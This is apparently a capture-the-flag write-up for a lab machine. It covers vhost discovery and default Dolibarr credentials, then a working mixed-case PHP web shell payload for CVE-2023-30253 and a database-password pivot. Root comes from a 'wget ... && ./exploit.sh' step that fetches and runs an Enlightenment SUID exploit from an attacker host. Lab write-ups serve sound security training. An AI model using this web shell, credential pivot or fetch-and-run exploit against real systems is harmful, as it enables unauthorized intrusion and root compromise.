Recon
Two ports on initial scan. The web server redirected to board.htb — added to hosts. A vhost scan found a subdomain running a different application.
$ nmap -sC -sV -oN nmap/initial 10.129.7.1 22/tcp open ssh OpenSSH 8.2p1 80/tcp open http Apache httpd 2.4.41 |_http-redirect: http://board.htb/
$ echo "10.129.7.1 board.htb" >> /etc/hosts $ gobuster vhost -u http://board.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain Found: crm.board.htb (Status: 200)
$ echo "10.129.7.1 crm.board.htb" >> /etc/hosts
Enumeration
crm.board.htb hosts Dolibarr ERP version 17.0.0. Default administrator credentials are admin / admin — they worked on first try.
$ curl -s -b "DOLSESSID=..." http://crm.board.htb/index.php | grep "Dolibarr" Dolibarr 17.0.0
CVE-2023-30253: Dolibarr ERP ≤ 17.0.0 allows authenticated PHP code injection through the website module. When creating website pages, PHP code is allowed but the input filter converts <?php to <?PHP (uppercase). The fix for the filter can be bypassed using mixed case or the short echo tag syntax.
<?php to <?PHP but doesn't account for mixed-case variants like <?PhP. The mixed-case tag is still parsed as PHP by the interpreter, bypassing the security check and enabling code execution.
Foothold
# Create a new website in Dolibarr, add a page with PHP injection # Dolibarr website module → New Website → Add Page → Source (HTML) mode <?PhP system($_GET['cmd']); ?> # Save and access the page at: http://crm.board.htb/public/website/[slug].php
$ curl "http://crm.board.htb/public/website/shell.php?cmd=id" uid=33(www-data) gid=33(www-data)
Upgrade to reverse shell. Then look for credentials to pivot to a system user.
www-data@boardlight:/var/www/html/crm.board.htb/htdocs/conf$ cat conf.php $dolibarr_main_db_host='localhost'; $dolibarr_main_db_user='dolibarrowner'; $dolibarr_main_db_pass='serverfun2$2023!!';
Database password — tried it as the password for local user larissa:
www-data@boardlight:~$ su larissa Password: serverfun2$2023!! larissa@boardlight:/var/www/html/crm.board.htb/htdocs/conf$
Privilege Escalation
larissa@boardlight:~$ find / -perm -4000 2>/dev/null | grep -v snap /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight
Enlightenment SUID binaries. Enlightenment ≤ 0.25.3 is vulnerable to CVE-2022-37706: a local privilege escalation via the enlightenment_sys SUID binary. The binary allows an authenticated user to perform privileged operations — a crafted exploit path creates a directory structure that tricks the binary into executing an arbitrary command as root.
# CVE-2022-37706 exploit script (multiple PoCs on GitHub, e.g. MaherAzzouzi) larissa@boardlight:~$ wget http://10.10.14.X/exploit.sh && chmod +x exploit.sh && ./exploit.sh [*] Checking if /tmp/exploit exists... [*] Path: /dev/../tmp/exploit [*] Exploiting... [+] Got root! # id uid=0(root) gid=0(root) groups=0(root)
Flags
Lessons Learned
- Default credentials on ERP systems like Dolibarr are surprisingly common in production — admin/admin should be the first thing you try on any business application login page.
- PHP injection filter bypasses via case manipulation: the filter converts
<?phpto<?PHPbut PHP's parser is case-insensitive for the opening tag —<?PhPexecutes normally. - Database configuration files in web application directories routinely contain passwords that are reused for local system accounts — always check conf.php, wp-config.php, and similar files immediately after getting a shell.
- SUID binaries from desktop environment utilities (Enlightenment, GNOME helpers, KDE tools) are easy to miss in a SUID search — look for non-standard paths like
/usr/lib/x86_64-linux-gnu/enlightenment/.